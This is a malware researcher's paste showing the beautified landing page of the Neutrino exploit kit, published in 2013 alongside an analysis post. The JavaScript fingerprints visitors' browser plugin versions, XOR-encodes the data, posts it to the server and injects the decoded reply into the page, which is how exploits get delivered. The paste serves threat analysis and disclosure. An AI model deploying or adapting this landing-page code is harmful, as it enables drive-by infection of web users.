#MalwareMustDie -Neutrino EK Landing Page Beautified

// #MalwareMustDie!
// Neutrino EK Landing Page Beutified - Where the infection starts!
// Analysis: http://malwaremustdie.blogspot.jp/2013/06/knockin-on-neutrino-exploit-kits-door.html

＜!DOCTYPE HTML＞
 ＜html＞
 ＜head＞
 ＜link href='rcijxziqjmwai.css' rel='stylesheet'＞
 ＜link href='ubjabj.css' rel='stylesheet'＞
 ＜link href='wqhbu.css' rel='stylesheet'＞
 ＜link href='rwkjnnswkreab.css' rel='stylesheet'＞

 ＜script src='wgyesrof.js'＞＜/script＞
 ＜script src='vuofg.js'＞＜/script＞
 ＜script src='cqqv.js'＞＜/script＞
 ＜script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"＞＜/script＞
 ＜link href='czdwbmxdwzzmgbh.css' rel='stylesheet'＞
 ＜link href='sejcrxuoimtjnlhp.css' rel='stylesheet'＞
 ＜link href='kmmxjptip.css' rel='stylesheet'＞
 ＜link href='pqnojry.css' rel='stylesheet'＞
 ＜script src='cnvpce.js'＞＜/script＞
 ＜script src='aqrwwpb.js'＞＜/script＞
 ＜script src='hptkkoyqvzt.js'＞
 ＜/script＞＜script src='ppkuryqha.js'＞＜/script＞
 ＜script type="text/javascript" src="scripts/js/plg.js"＞＜/script＞
 ＜script src='blgxhwyvdop.js'＞＜/script＞
 ＜script src='zenpzmilbxv.js'＞＜/script＞
 ＜script src='oumvvhkwsruznt.js'＞＜/script＞
 ＜script src='rhkggotwoffagc.js'＞＜/script＞

 ＜script type="text/javascript"＞
 $(document).ready(function()
 {
   var aa = 'gvwuhd';
   var bb = '';
   var cc = aa;
   bb = cc;
   \u0410\u041d602(
   '51c81ff4aaa2cce42c1809bd',
   bb,
   'bxfkxhcqk',
   'rruqytkegrvjt',
   'eefazbuhfeekpb'
   );
 }
 );
 function \u0410\u041d602(a,c,d,b,e)
 {
   a=
   {
     plugins:
     {
       adobe_reader:PluginDetect.getVersion("AdobeReader"),
       java:PluginDetect.getVersion("Java"),
       flash:PluginDetect.getVersion("Flash"),
       quick_time:PluginDetect.getVersion("QuickTime"),
       real_player:PluginDetect.getVersion("RealPlayer"),
       shockwave:PluginDetect.getVersion("Shockwave"),
       silver_light:PluginDetect.getVersion("Silverlight"),
       vlc:PluginDetect.getVersion("VLC"),
       wmp:PluginDetect.getVersion("WMP")
     }
     ,hid:a
   };
   var f=
   {
   };
   f[b]=c;
   f[e]=encodeURIComponent(xor(JSON.stringify(a),c));
   $.post(d,f,function(a)
   {
     $("body").append(xor(decodeURIComponent(a),c))
   }
   )
 }
 function xor(a,c)
 {
   for(var d="",b=0,e=0,b=0;b＜a.length;b++)e=Math.floor(b%c.length),d+=String.fromCharCode(a.charCodeAt(b)^c.charCodeAt(e));
   return d
 }
 JSON.stringify=JSON.stringify||function(a)
 {
   var c=typeof a;
   if("object"!=c||null===a)return"string"==c&&(a='"'+a+'"'),String(a);
   var d,b,e=[],f=a&&a.constructor==Array;
   for(d in a)b=a[d],c=typeof b,"string"==c?b='"'+b+'"':"object"==c&&null!==b&&(b=JSON.stringify(b)),e.push((f?"":'"'+d+'":')+String(b));
 return(f?"[":"{")+String(e)+(f?"]":"}")
 };
 ＜/script＞
 ＜/head＞
 ＜body＞
 ＜img src='rqpnl.png'＞＜img src='ioqcnevjvdtckivg.png'＞＜img src='lxio.png'＞＜img src='fkatvwsdk.gif'＞
 ＜img src='mbhiebkokgvhhgfp.png'＞＜img src='aajauexmihvoghpo.jpg'＞
 ＜/body＞
 ＜/html＞

---
"We wacked you good - Neutrino moronz.
#MalwareMustDie! @unixfreaxjp ~]# date
Tue Jun 25 20:31:03 JST 2013